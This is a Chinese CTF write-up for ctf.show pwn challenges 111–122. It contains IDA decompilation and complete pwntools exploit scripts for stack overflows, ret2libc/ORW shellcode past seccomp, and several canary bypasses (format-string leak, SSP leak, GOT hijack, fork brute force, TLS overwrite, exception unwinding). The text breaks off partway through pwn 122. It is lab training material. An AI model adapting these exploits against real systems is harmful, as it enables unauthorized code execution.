pwn 111

检查保护:

img

64位仅开启NX保护

IDA直接查看漏洞函数:

img

明显的栈溢出漏洞,观察到还有后门函数:

img

那么简单了,只需要栈溢出,将返回地址覆盖成这个函数的地址就可以拿到flag了。

exp

1
2
3
4
5
6
7
8
9
10
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
#io = process('./pwn')
elf = ELF('./pwn')
io = remote('pwn.challenge.ctf.show',28143)
flag = elf.sym['_do_global']
#flag = 0x400697
payload = cyclic(0x80+8) + p64(flag)
io.sendline(payload)
io.interactive()

pwn 112

(要注意var变量这里提示了qword是4字节的,因此在输数据的时候应该用p32而不是直接用byte类型)

检查保护:

img

32位保护全开,其中部分开启RELRO

IDA查看漏洞函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int ctfshow()
{
var[13] = 0;
var[14] = 0;
init();
puts("What's your name?");
__isoc99_scanf("%s", var);
if ( *(_QWORD *)&var[13] )
{
if ( *(_QWORD *)&var[13] != 0x11LL )
return printf(
"something wrong! val is %d",
var[0],
var[1],
var[2],
var[3],
var[4],
var[5],
var[6],
var[7],
var[8],
var[9],
var[10],
var[11],
var[12],
var[13],
var[14]);
else
return register_tm();
}
else
{
printf("%s, Welcome!\n", var);
return puts("Try doing something~");
}
}

细心观察其实就发现还是存在后门函数:

img

img

img

那么让var[13] = 0x11 也就是十进制的17即可执行到后门函数了。

即直接将var[13]覆盖成17即可

Exp

1
2
3
4
5
6
7
8
from pwn import *
context.log_level='debug'
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28232)
payload = p32(17) * 0xE
io.recv()
io.sendline(payload)
io.interactive()

pwn 113

检查保护:

img

64位程序完全开启RELRO保护,开启NX保护

IDA查看main函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rax
char v5[1032]; // [rsp+0h] [rbp-420h] BYREF
__int64 v6; // [rsp+408h] [rbp-18h]
char v7; // [rsp+417h] [rbp-9h]
__int64 v8; // [rsp+418h] [rbp-8h]

is_detail = 0;
go(argc, argv, envp);
logo();
fwrite(">> ", 1uLL, 3uLL, _bss_start);
fflush(_bss_start);
v8 = 0LL;
while ( !feof(stdin) )
{
v7 = fgetc(stdin);
if ( v7 == 10 )
break;
v3 = v8++;
v6 = v3;
v5[v3] = v7;
}
v5[v8] = 0;
if ( (unsigned int)init(v5) )
{
qsort(files, size_of_path, 0x200uLL, cmp);
search_file_info();
}
else
{
fflush(_bss_start);
set_secommp();
}
return 0;
}

跟进init():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
__int64 __fastcall init(char *a1)
{
__int64 result; // rax
char *v2; // rax
struct stat v3; // [rsp+10h] [rbp-1A0h] BYREF
char ptr[256]; // [rsp+A0h] [rbp-110h] BYREF
char *src; // [rsp+1A0h] [rbp-10h]
_BYTE *v6; // [rsp+1A8h] [rbp-8h]

size_of_path = 0;
if ( (unsigned int)stat(a1, &v3) == -1 )
{
strcpy(ptr, "Can't get the information of the given path.\n");
fwrite(ptr, 1uLL, 0x2EuLL, _bss_start);
return 0LL;
}
else if ( (v3.st_mode & 0xF000) == 0x8000 )
{
size_of_path = 1;
src = __xpg_basename(a1);
strcpy(files, src);
strcpy(dest, a1);
return 1LL;
}
else
{
result = v3.st_mode & 0xF000;
if ( (_DWORD)result == 0x4000 )
{
if ( a1[strlen(a1) - 1] != 47 )
{
v2 = &a1[strlen(a1)];
v6 = v2 + 1;
*v2 = 47;
*v6 = 0;
}
get_dir_detail(a1);
return 1LL;
}
}
return result;
}

逻辑看起来不明所以可能

注意到程序还开启了沙箱set_secommp():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
int set_secommp()
{
__int16 v1; // [rsp+0h] [rbp-50h] BYREF
__int16 *v2; // [rsp+8h] [rbp-48h]
__int16 v3; // [rsp+10h] [rbp-40h] BYREF
char v4; // [rsp+12h] [rbp-3Eh]
char v5; // [rsp+13h] [rbp-3Dh]
int v6; // [rsp+14h] [rbp-3Ch]
__int16 v7; // [rsp+18h] [rbp-38h]
char v8; // [rsp+1Ah] [rbp-36h]
char v9; // [rsp+1Bh] [rbp-35h]
int v10; // [rsp+1Ch] [rbp-34h]
__int16 v11; // [rsp+20h] [rbp-30h]
char v12; // [rsp+22h] [rbp-2Eh]
char v13; // [rsp+23h] [rbp-2Dh]
int v14; // [rsp+24h] [rbp-2Ch]
__int16 v15; // [rsp+28h] [rbp-28h]
char v16; // [rsp+2Ah] [rbp-26h]
char v17; // [rsp+2Bh] [rbp-25h]
int v18; // [rsp+2Ch] [rbp-24h]
__int16 v19; // [rsp+30h] [rbp-20h]
char v20; // [rsp+32h] [rbp-1Eh]
char v21; // [rsp+33h] [rbp-1Dh]
int v22; // [rsp+34h] [rbp-1Ch]
__int16 v23; // [rsp+38h] [rbp-18h]
char v24; // [rsp+3Ah] [rbp-16h]
char v25; // [rsp+3Bh] [rbp-15h]
int v26; // [rsp+3Ch] [rbp-14h]
__int16 v27; // [rsp+40h] [rbp-10h]
char v28; // [rsp+42h] [rbp-Eh]
char v29; // [rsp+43h] [rbp-Dh]
int v30; // [rsp+44h] [rbp-Ch]
__int16 v31; // [rsp+48h] [rbp-8h]
char v32; // [rsp+4Ah] [rbp-6h]
char v33; // [rsp+4Bh] [rbp-5h]
int v34; // [rsp+4Ch] [rbp-4h]

prctl(38, 1LL, 0LL, 0LL, 0LL);
v3 = 32;
v4 = 0;
v5 = 0;
v6 = 4;
v7 = 21;
v8 = 0;
v9 = 5;
v10 = -1073741762;
v11 = 32;
v12 = 0;
v13 = 0;
v14 = 0;
v15 = 53;
v16 = 0;
v17 = 1;
v18 = 0x40000000;
v19 = 21;
v20 = 0;
v21 = 2;
v22 = -1;
v23 = 21;
v24 = 1;
v25 = 0;
v26 = 59;
v27 = 6;
v28 = 0;
v29 = 0;
v30 = 2147418112;
v31 = 6;
v32 = 0;
v33 = 0;
v34 = 0;
v1 = 8;
v2 = &v3;
return prctl(22, 2LL, &v1);
}

程序的关键就是看各个函数以及了解一些结构体,如果对这些毫不了解,那么简单尝试运行程序:

img

随便输入,然后回显一个:Can’t get the information of the given path.(无法获取给定路径的信息。)

那么尝试给定一个路径试试 尝试根目录(/):

img

发现能够看到给定路径下的文件

img

但是仅仅能看到文件信息,并不能获取到文件内容。[此时为本地运行],至此,我们大概了解了这个程序的作用。

回到函数:

img

这个函数能获取文件的各种属性

img

__xstat返回的其实是文件的stat结构体,里面会记录文件的类型和权限。用结构体里面的mode出来进行判断。

详细部分在课程中会进行讲解。

程序中有一个判断,当我们输入的文件路径有问题,它就会返回0,然后进入沙箱中,那么我们就可以任意输入,使其出错进入沙箱进行沙箱ROP,还是非常简单的。

先泄漏地址,再通过mprotect函数修改权限然后orw进行读flag,flag名称我们可以在远程连接的时候输入路径即可看到flag文件格式,详细过程这里不再概述见exp。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28251)
elf = ELF('./pwn')
libc = ELF("/home/bit/libc/64bit/libc-2.27.so")
main = elf.sym['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x401ba3 # 0x0000000000401ba3 : pop rdi ; ret

payload = 'a' * 0x418 + p8(0x28)
payload += p64(pop_rdi) + p64(puts_got) + p64(puts_plt)
payload += p64(main)

io.sendlineafter('>> ', payload)
puts = u64(io.recvuntil('\x7f')[-6:] + '\x00\x00')
print hex(puts)
pause()
libc_base = puts - libc.symbols['puts']
print hex(libc_base)

payload = 'a' * 0x418 + p8(0x28)
payload += p64(pop_rdi) + p64(elf.bss())
payload += p64(libc_base + libc.sym['gets'])
payload += p64(pop_rdi) + p64(elf.bss() & 0xfffffffffffff000)
payload += p64(libc_base + 0x23e6a) + p64(0x1000)
payload += p64(libc_base + 0x1b96)
payload += p64(7) + p64(libc_base + libc.sym['mprotect']) + p64(elf.bss())

io.sendlineafter('>> ', payload)

shellcode = asm('''
mov rax, 0x67616c662f2e
push rax
mov rdi, rsp
xor esi, esi
mov eax, 2
syscall

cmp eax, 0
jg next
push 1
mov edi, 1
mov rsi, rsp
mov edx, 4
mov eax, edi
syscall
jmp exit

next:
mov edi, eax
mov rsi, rsp
mov edx, 0x100
xor eax, eax
syscall

mov edx, eax
mov edi, 1
mov rsi, rsp
mov eax, edi
syscall

exit:
xor edi, edi
mov eax, 231
syscall
''')

io.sendline(shellcode)

io.interactive()

pwn 114

检查保护:

img

64位仅关闭Canary

IDA查看main函数:

img

这里的flagishere函数是一个后门函数,负责将flag读取到flag变量中,而在这之前有一个signal信号量处理函数,通过查看sigsegv_handler得知,在程序收到一个段错误时,程序会将flag变量输出

跟进ctfshow():

img

这里我们可以看到我们的dest存在栈溢出问题,因此这里我们只需要输入大于0x100个字节的数据结果触发信号量处理函数,得到flag

存在后门函数:

img

非常简单,溢出后即可获得flag

甚至都不需要写exp

1
2
3
4
5
6
7
8
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28292)
io.sendline('Yes')
payload = cyclic(0x100)
io.sendline(payload)
io.interactive()

Canary bypass

pwn 115

覆盖截断字符获取canary

检查保护:

32位开启了Canary保护与NX保护,部分开启RELRO保护

IDA查看main函数,直接跟进ctfshow函数:

明显的溢出漏洞还有格式化字符串漏洞,还观察到存在后门函数:

由于开启了Canary保护,我们首先得泄漏出Canary的值,然后再利用backdoor函数进行get shell(方式不唯一)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context.log_level = 'debug'
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28128)
elf = ELF('./pwn')
backdoor = elf.sym["backdoor"]

io.recvuntil("Try Bypass Me!\n")

# leak Canary
payload = "A"*200
io.sendline(payload)
io.recvuntil("A"*200)
Canary = u32(io.recv(4)) - 0xa # b'\xa' == '\n'
log.info("Canary:"+hex(Canary))

# Bypass Canary
payload = "\x90"*200 + p32(Canary)+"\x90"*12 + p32(backdoor)
io.send(payload)

io.recv()
io.recv()
io.interactive()

pwn 116

格式化字符串泄露canary

检查保护:

32位开启了Canary保护与NX保护,部分开启RELRO保护

IDA查看ctfshow函数:

同样的存在溢出漏洞跟格式化字符串漏洞,且存在后门函数:

这次我们利用格式化字符串漏洞去泄漏Canary的值来进行绕过。

格式化字符串漏洞可以打印出栈中的内容,因此利用此漏洞可以打印出canary的值,再进行栈溢出。

printf函数直接打印了read读取的用户输入的内容,因此我们可以通过输入特殊的payload来利用printf泄露栈中的内容。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
context.log_level = 'debug'
#p = process("./pwn")
p = remote('pwn.challenge.ctf.show',28182)
elf = ELF('./pwn')
backdoor = elf.sym['qwerasd']

p.recv()
#print Canary
p.sendline("%15$08x")
canary = io.recv()[:8] #获取返回的Canary,只取前8位,即去掉回车符
Canary = canary.decode('ascii')
result = bytes.fromhex(Canary)[::-1] # 转化成小端序

#Payload
canary_offset = 8*4
ret_offset = 3*4
#Bypass Canary
payload = canary_offset*'a' + result + ret_offset*'b' + p32(backdoor)
p.sendline(payload)

p.interactive()

pwn 117

SSP Leak泄露canary

检查保护:

64位开启了Canary保护与NX保护,部分开启RELRO保护

IDA查看main函数:

可以看到程序先以及读取了/flag文件,然后可以看到buf在bss段,gets(v5)明显的栈溢出漏洞

canary检测失败时会调用stack_chk_fail函数,输出一段报错,报错会输出文件名,覆盖文件名指针,从而实现任意读,也就是覆盖变量__libc_argv[0],这样我们就可以在canary检测失败时,输出我们想要的flag值:

flag(buf)地址为:

栈顶地址:

image-20250223135459451

argv[0]位置:

exp

1
2
3
4
5
6
7
8
9
10
from pwn import *
context(arch='amd64', os='linux',log_level='debug')
#p = process('./pwn')
p = remote('pwn.challenge.ctf.show',28242)
flag = 0x6020A0 #buf

p.recvuntil('Haha,It has reduced you a lot of difficulty!')
payload = b'a' * 504 + p64(flag) // 0x7fffffffdc28 - 0x7fffffffda30
p.sendline(payload)
p.interactive()

这里最让我困扰的是我开始在我的wsl2(ubuntu22.04)做时找到的栈顶地址一直是0x7fffffffda00,计算出来的偏移是552.因为一直没有考虑到libc版本的问题,所以在这里卡了很久。最终是将程序的libc版本改成libc-2.23解决问题

pwn 118

检查保护:

32位开启Canary与NX保护

IDA查看main函数,跟进ctfshow函数:

还是明显的栈溢出漏洞跟格式化字符串漏洞,这次我们再换一种方式进行绕过

我们还是发现存在后门函数:

image-20250224182523906

这次我们劫持__stack_chk_fail函数,由于这里存在后门函数能直接获取flag,那么我们只需要将其改写为get_flag函数的地址就可以了。

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context.log_level = 'debug'
#p = process('./pwn')
p = remote('pwn.challenge.ctf.show',28151)
elf = ELF('./pwn')

stack_chk_fail_got = elf.got['__stack_chk_fail']
getflag = elf.sym['get_flag']

payload = fmtstr_payload(7, {stack_chk_fail_got: getflag})
payload = payload.ljust(0x50, 'a') # 触发stack_chk_fail函数
p.sendline(payload)
p.recv()

p.interactive()

pwn 119

检查保护:

32位开启Canary与NX保护,部分开启RELRO保护

IDA查看main函数:

程序中存在fork函数,而且还是不断循环,跟进ctfshow函数:

还是栈溢出漏洞,开启了Canary保护,因此我们需要先绕过保护

每次进程重启后的Canary是不同的,但是同一个进程中的Canary都是一样的。并且 通过 fork 函数创建的子进程的 Canary 也是相同的,因为 fork 函数会直接拷贝父进程的内存。因此我们可以考虑进行one by one 爆破

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
#context.log_level = 'debug'
#p = process('../code/pwn')

context(os='linux', arch='i386')

p = remote('pwn.challenge.ctf.show',28233)
elf = ELF('../code/pwn')
backdoor = elf.sym['backdoor']

canary = b'\x00'
p.recvuntil('Try PWN Me!\n')

for i in range(3):
for j in range(256):
print(f"No.{i} index:{j}")
print(f"current Canary: {canary + j.to_bytes(1, byteorder='little')}")
payload = b'a' * (0x70 - 0xC) + canary + j.to_bytes(1, byteorder='little')
p.send(payload)
text = p.recvuntil('Try PWN Me!\n')

text_str = str(text)
print(text_str)
if ("stack smashing detected" not in text_str):
print(text_str)
log.success(f"success: {j}")
canary += j.to_bytes(1, byteorder='little')
# print "Canary: " + canary
break
else:
print("failed")
log.success(hex(u32(canary)))
# canary = canary[::-1]
payload2 = b'a' * (0x70 - 0xc) + canary + b'a' * 0xc + p32(backdoor)
p.sendline(payload2)

p.interactive()

这题其实总体难度并不大,逐个字节爆破就可以了,但是我在做的时候遇到了几个问题:首先就是python中的一些数据类型转化和编码问题,这里可以看一下这篇文档;其次就是我按照官方给到的WP写exp的时候,遇到了遍历完256次之后没有找到这一字节数据的情况(!!!),开始我还以为是我代码哪里写错了,最后我还直接用python2跑了一下官方的题解^1,也是出现了这个问题(目前这个问题我还没想清楚是为什么)。最终的解决方案是将sleep()函数删掉就可以了–这里猜测可能是传输过程中出现了数据的丢失吧 :no_mouth:

pwn 120

检查保护:

64位仅关闭PIE

IDA查看main函数:

创建了一个线程,跟进看一下:

子进程里面先让用户输入要输入的大小,如果大于0x5000就输出”Are you kidding me?”,如果小于等于就进行读取明显存在栈溢出

Canary 储存在 TLS(Thread local storage) 中,在函数返回前会使用这个值进行对比。当溢出尺寸较大时,可以同时覆盖栈上储存的 Canary 和 TLS 储存的 Canary 实现绕过。

我们可以从这里溢出到TLS修改canary,接下来就是确定canary的位置

之后便是确定好偏移,然后构造ROP链,泄露地址puts函数的地址,计算出libcbase,最后然后我们只需要在构造一个read,写一个one_gadget到stack_pivot上,然后控制返回地址回stack_pivot便能获取一个shell了

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process("./pwn")
io = remote('pwn.challenge.ctf.show',28233)
elf = ELF("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

leave_addr = 0x400ada
pop_rdi_ret = 0x400be3 # 0x0000000000400be3 : pop rdi ; ret
pop_rsi_r15_ret = 0x400be1 # 0x0000000000400be1 : pop rsi ; pop r15 ; ret
bss_addr = 0x602f00

payload = 'a' * 0x510 + p64(bss_addr - 0x8)
payload += p64(pop_rdi_ret) + p64(elf.got["puts"]) + p64(elf.symbols["puts"])
payload += p64(pop_rdi_ret) + p64(0)
payload += p64(pop_rsi_r15_ret) + p64(bss_addr) + p64(0) + p64(elf.symbols["read"])
payload += p64(leave_addr)

payload = payload.ljust(0x1000,'a')
io.sendlineafter("How much do you want to send this time?\n",str(0x1000))
sleep(0.5)
io.send(payload)
sleep(0.5)

io.recvuntil("See you next time!\n")
puts = u64(io.recv(6).ljust(8,'\x00'))
print hex(puts)
libc_base = puts - libc.symbols["puts"]
one = libc_base + 0x4f302

payload = p64(one)
io.send(payload)

io.interactive()

pwn 121

检查保护:

64位开启Canary与NX保护,部分开启RELRO

IDA查看main函数(修改函数名后):

根据菜单栏,我们不难发现,首先着重引起注意的就是4 (ctfshow)跟进查看:

img

这里存在三个漏洞,分别为格式化字符串漏洞,栈溢出漏洞,堆溢出漏洞

Fmt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
__int64 fmt()
{
unsigned __int64 v0; // rdx
unsigned __int8 v2; // [rsp+Fh] [rbp-631h]
char v3; // [rsp+Fh] [rbp-631h]
int i; // [rsp+10h] [rbp-630h]
int j; // [rsp+10h] [rbp-630h]
int v6; // [rsp+10h] [rbp-630h]
int v7; // [rsp+14h] [rbp-62Ch]
int v8; // [rsp+14h] [rbp-62Ch]
int k; // [rsp+18h] [rbp-628h]
signed __int64 v10; // [rsp+20h] [rbp-620h]
signed __int64 v11; // [rsp+28h] [rbp-618h]
char format[512]; // [rsp+30h] [rbp-610h] BYREF
char s[256]; // [rsp+230h] [rbp-410h] BYREF
char v14[256]; // [rsp+330h] [rbp-310h] BYREF
char v15[520]; // [rsp+430h] [rbp-210h] BYREF
unsigned __int64 v16; // [rsp+638h] [rbp-8h]

v16 = __readfsqword(0x28u);
memset(format, 0, sizeof(format));
strcpy(s, "try_to_get_flag");
memset(&s[16], 0, 0xF0uLL);
v10 = strlen(s);
v0 = (unsigned __int64)v14;
memset(v14, 0, sizeof(v14));
v7 = 0;
for ( i = 0; i <= 255; ++i )
{
format[i] = i;
v0 = (unsigned __int8)s[i % v10];
v14[i] = v0;
}
for ( j = 0; j <= 255; ++j )
{
v7 = (v14[j] + v7 + format[j]) % 256;
v2 = format[j];
format[j] = format[v7];
v0 = v2;
format[v7] = v2;
}
sub_400E76(v15, 500LL, v0);
v11 = strlen(v15);
v8 = 0;
v6 = 0;
for ( k = 0; k < v11; ++k )
{
v6 = (v6 + 1) % 256;
v8 = (v8 + format[v6]) % 256;
v3 = format[v6];
format[v6] = format[v8];
format[v8] = v3;
v15[k] ^= format[(format[v8] + format[v6]) % 256];
}
printf(format);
return 0LL;
}

格式化字符串不可控

stack_overflow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int stack_overflow()
{
unsigned int v0; // eax
int v2; // [rsp+Ch] [rbp-EAE4h] BYREF
int v3; // [rsp+10h] [rbp-EAE0h] BYREF
int i; // [rsp+14h] [rbp-EADCh]
int j; // [rsp+18h] [rbp-EAD8h]
unsigned int k; // [rsp+1Ch] [rbp-EAD4h]
int v7[15026]; // [rsp+20h] [rbp-EAD0h] BYREF
unsigned __int64 v8; // [rsp+EAE8h] [rbp-8h]

v8 = __readfsqword(0x28u);
scanf("%d", &v2);
scanf("%d", &v3);
for ( i = 1; i <= v2; ++i )
scanf("%d %d", &v7[i], &v7[i + 12]);
for ( j = 1; j <= v2; ++j )
{
for ( k = 1; (int)k <= v3; ++k )
{
if ( v7[j] > k )
{
v7[1500 * j + 24 + k] = v7[1500 * j - 1476 + k];
}
else
{
v0 = v7[1500 * j - 1476 + k];
if ( v7[j + 12] + v7[1500 * j - 1476 + k - v7[j]] >= v0 )
v0 = v7[j + 12] + v7[1500 * j - 1476 + k - v7[j]];
v7[1500 * j + 24 + k] = v0;
}
}
}
return printf("%d\n", (unsigned int)v7[1500 * v2 + 24 + v3]);
}

结构化写入,但是程序开启了Canary保护

heap_overflow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
__int64 heap_overflow()
{
int v0; // eax
_BYTE *v1; // rax
__int64 result; // rax
char v3; // [rsp+7h] [rbp-19h]
int i; // [rsp+8h] [rbp-18h]
unsigned int j; // [rsp+8h] [rbp-18h]
int v6; // [rsp+Ch] [rbp-14h]
int v7; // [rsp+10h] [rbp-10h]
int v8; // [rsp+14h] [rbp-Ch]
_BYTE *v9; // [rsp+18h] [rbp-8h]

v6 = 0;
v9 = malloc(0x3E8uLL);
v7 = -1;
v8 = -1;
while ( 1 )
{
v3 = getchar();
if ( v3 == -1 )
break;
v0 = v6++;
v9[v0] = v3;
}
for ( i = 0; i < v6; ++i )
{
if ( v7 == -1 )
{
if ( v8 == -1 && v9[i] == 34 && v9[i - 1] != 92 )
{
v8 = 1;
}
else if ( v8 == 1 && v9[i] == 34 && v9[i - 1] != 92 )
{
v8 = -1;
}
}
if ( v8 == -1 )
{
if ( v7 == -1 && v9[i] == 47 && v9[i + 1] == 42 )
{
v7 = 1;
v9[i] = -1;
}
else if ( v7 == 1 && v9[i] == 42 && v9[i + 1] == 47 )
{
v1 = &v9[i + 1];
*v1 = -1;
v9[i] = *v1;
v7 = -1;
++i;
}
else if ( v7 == 1 )
{
v9[i] = -1;
}
}
}
for ( j = 0; ; ++j )
{
result = j;
if ( (int)j >= v6 )
break;
if ( v9[j] != 0xFF )
putchar((char)v9[j]);
}
return result;
}

仅有一次溢出,无返回

从单个函数或者走入这个分支来看,并不好利用

查看其他函数:

img

仔细观察函数流程,发现程序里进行了一个异常捕捉机制,在伪代码中这个结构体并没有显示

跟进函数查看一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
__int64 sub_401148()
{
__int64 v0; // rdx
__int64 v1; // rdx
_DWORD *exception; // rax
_DWORD *v3; // rax
__int64 v4; // rdx
int i; // [rsp+Ch] [rbp-124h]
char s1[264]; // [rsp+10h] [rbp-120h] BYREF
unsigned __int64 v8; // [rsp+118h] [rbp-18h]

v8 = __readfsqword(0x28u);
puts("FlexMD5 bruteforce tool V0.1");
puts("custom md5 state (yes/No)");
sub_400E76(s1, 4LL, v0);
if ( !strncmp(s1, "yes", 3uLL) )
{
dword_6061A4 = 1;
puts("initial state[0]:");
dword_6061B0 = sub_400F45("initial state[0]:");
puts("initial state[1]:");
dword_6061B4 = sub_400F45("initial state[1]:");
puts("initial state[2]:");
dword_6061B8 = sub_400F45("initial state[2]:");
puts("initial state[3]:");
dword_6061BC = sub_400F45("initial state[3]:");
}
puts("custom charset (yes/No)");
sub_400E76(s1, 4LL, v1);
if ( !strncmp(s1, "yes", 3uLL) )
{
dword_6061A4 = 1;
puts("charset length:");
dword_606110 = sub_400F45("charset length:");
if ( dword_606110 > 256 )
{
exception = __cxa_allocate_exception(4uLL);
*exception = 2;
__cxa_throw(exception, (struct type_info *)&`typeinfo for'int, 0LL);
}
puts("charset:");
sub_400E76(s1, (unsigned int)(dword_606110 + 1), (unsigned int)(dword_606110 + 1));
off_606118 = strdup(s1);
}
puts("bruteforce message pattern:");
sub_400F1E(byte_6061C0, 1024LL);
dword_6061A0 = strlen(byte_6061C0);
for ( i = 0; i < strlen(byte_6061C0) && byte_6061C0[i] != 46; ++i )
;
if ( i == strlen(byte_6061C0) )
{
v3 = __cxa_allocate_exception(4uLL);
*v3 = 0;
__cxa_throw(v3, (struct type_info *)&`typeinfo for'int, 0LL);
}
puts("md5 pattern:");
sub_400E76(byte_6065C0, 33LL, v4);
return 0LL;
}

仔细观察可以发现这里存在一个整形溢出,对输入+1后进行了无符号整形强制转换

img

进而又有了一个栈溢出漏洞,同样的程序开启了Canary保护,还是要想办法绕过

这里我们就需要了解并利用异常机制去绕过Canary保护了(详细原理课程中会给大家讲解,这里不讲述原理)

我们现在需要跳过canary检查,如果异常被上一个函数的catch捕获,所以rbp变成了上一个函数的rbp, 而通过构造一个payload把上一个函数的rbp修改成stack_pivot地址, 之后上一个函数返回的时候执行leave ret,这样一来我们就能成功绕过canary的检查,而且进一步我们也能控制eip,,去执行了stack_pivot中的rop了。

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process("./pwn")
io = remote('pwn.challenge.ctf.show',28201)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
message_pattern = 0x6061C0
puts_plt = 0x400BD0
puts_got = 0x606020
readn = 0x400F1E
pop_rdi = 0x4044d3
pop_rsi_r15 = 0x4044d1
ret = 0x40150c

io.recvuntil("option:\n")
io.sendline("1")
io.sendline("No")
io.sendline("yes")
io.sendline('-2')
payload = p64(message_pattern)*37 + p64(ret)
io.sendline(payload)

payload = p64(0) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(pop_rdi) + p64(message_pattern + 0x50) + p64(pop_rsi_r15) + p64(1024) + p64(message_pattern + 0x50) + p64(readn)

io.send(payload)
io.recvuntil("pattern:\n")
puts = u64(io.recvuntil("\n")[:-1].ljust(8,"\x00"))
libc_base = puts - libc.symbols['puts']
one_gadget = libc_base + 0x4f302
payload = p64(one_gadget)

io.send(payload)

io.interactive()

pwn 122

检查保护:

img

32位开启Canary保护NX保护,部分开启RELRO

IDA查看main函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
int __cdecl main()
{
void *v1; // [esp+18h] [ebp-8h]

sub_804866D();
v1 = 0;
while ( 1 )
{
switch ( sub_8048B2E() )
{
case 1:
if ( v1 )
free(v1);
v1 = (void *)sub_8048B03(0x100u);
sub_8048510("Done.");
continue;
case 2:
if ( v1 )
sub_8048780((char *)v1);
goto LABEL_17;
case 3:
if ( v1 )
sub_8048823((char *)v1);
goto LABEL_17;
case 4:
if ( v1 )
sub_80488C6((char *)v1);
goto LABEL_17;
case 5:
if ( v1 )
sub_8048A70((char *)v1);
LABEL_17:
sub_8048510("Done.");
break;
case 6:
if ( v1 )
{
sub_80484B0("The Flag is: %s\n", (const char *)v1);
free(v1);
v1 = 0;
sub_8048510("Done.");
}
else
{
sub_8048510("You have to input flag first!");
}
break;
case 7:
sub_8048510("Bye");
return 0;
default:
sub_8048510("Invalid!");
break;
}
}
}

看一下菜单:

img

对应7个分支分别对应7个选项

跟进选项sub_80488C6:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
unsigned int __cdecl sub_80488C6(char *dest)
{
char *v1; // eax
char *v2; // eax
char *v3; // eax
_BYTE *v4; // eax
char *v5; // eax
char *v6; // eax
char *v7; // eax
char *v8; // eax
char *v9; // eax
char *v10; // eax
char *v11; // eax
char *v13; // [esp+14h] [ebp-114h]
char *i; // [esp+18h] [ebp-110h]
char src[256]; // [esp+1Ch] [ebp-10Ch] BYREF
unsigned int v16; // [esp+11Ch] [ebp-Ch]

v16 = __readgsdword(0x14u);
v13 = src;
for ( i = dest; *i; ++i )
{
switch ( *i )
{
case 'A':
case 'a':
v1 = v13++;
*v1 = 52;
break;
case 'B':
case 'b':
v2 = v13++;
*v2 = 56;
break;
case 'E':
case 'e':
v3 = v13++;
*v3 = 51;
break;
case 'H':
case 'h':
*v13 = '1';
v13[1] = '-';
v4 = v13 + 2;
v13 += 3;
*v4 = '1';
break;
case 'I':
case 'i':
v5 = v13++;
*v5 = 33;
break;
case 'L':
case 'l':
v6 = v13++;
*v6 = 49;
